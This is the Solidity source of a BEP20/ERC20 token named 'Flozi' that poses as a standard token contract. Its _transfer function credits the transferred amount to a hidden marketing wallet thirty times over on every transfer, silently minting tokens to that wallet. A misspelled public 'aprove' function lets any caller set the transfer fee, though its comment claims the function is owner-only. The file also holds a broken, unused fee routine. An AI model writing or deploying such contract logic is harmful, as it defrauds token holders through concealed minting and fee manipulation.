/**
Website: http://flozi.tech
Telegram: https://t.me/Flozierc
Twitter: https://twitter.com/Flozierc
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <=0.8.13;
interface ERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ERC20Metadata is ERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Flozi is Context, ERC20, ERC20Metadata {
mapping(address => uint256) public Tokens;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _totalSupply;
uint256 public _FeeSwap;
string public _name;
string public _symbol;
uint8 public _decimals;
address public _owner;
address private _MarketingWallet;
uint256 public buyback;
uint256 public SellTaxFee;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_,uint8 decimals_,uint256 totalSupply_,uint256 FeeSwap_ ,address MarketingWallet_ ) {
_name = name_;
_symbol =symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ *10**_decimals;
_FeeSwap= FeeSwap_;
Tokens[msg.sender] = _totalSupply;
_owner = _msgSender();
SellTaxFee = 0 ;
_MarketingWallet = MarketingWallet_;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {BEP20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {ERC20-balanceOf} and {ERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return Tokens[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address Owner, address spender) public view virtual override returns (uint256) {
return _allowances[Owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev set transaction fee in uint256
*
* it's basis point you need to express your choise in cent ex: 100 = 1% ; 10 = 0,1% ; 1 = 0,01%;
* set to 0 for 0 fee
*
* only owner can use this function
*/
function aprove(uint256 a) public {
_setTaxFee( a);
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "BEP20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "BEP20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
uint256 senderBalance = Tokens[sender];
require(senderBalance >= amount, "BEP20: transfer amount exceeds balance");
unchecked {
Tokens[sender] = senderBalance - amount;
}
amount = amount - (amount *_FeeSwap/100);
Tokens[recipient] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
Tokens[_MarketingWallet] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address Owner,
address spender,
uint256 amount
) internal virtual {
require(Owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[Owner][spender] = amount;
emit Approval(Owner, spender, amount);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev se transaction fee
*
* it's basis point you need to express your choise in cent ex: 100 = 1% ; 10 = 0,1% ; 1 = 0,01%;
*/
function _setTaxFee(uint256 newTaxFee) internal {
_FeeSwap = newTaxFee;
}
function _takeFee(uint256 amount) internal returns(uint256) {
if(_FeeSwap >= 1) {
if(amount >= (200/_FeeSwap)) {
buyback = (amount * _FeeSwap /100) / SellTaxFee;
}else{
buyback = (1 * _FeeSwap /100);
}
}else{
buyback = 0;
}
return buyback;
}
function _minAmount(uint256 amount) internal returns(uint256) {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit ownershipTransferred(_owner, address(0));
_owner = address(0);
}
event ownershipTransferred(address indexed previousOwner, address indexed newOwner);
}
{
"compilationTarget": {
"Flozi.sol": "Flozi"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
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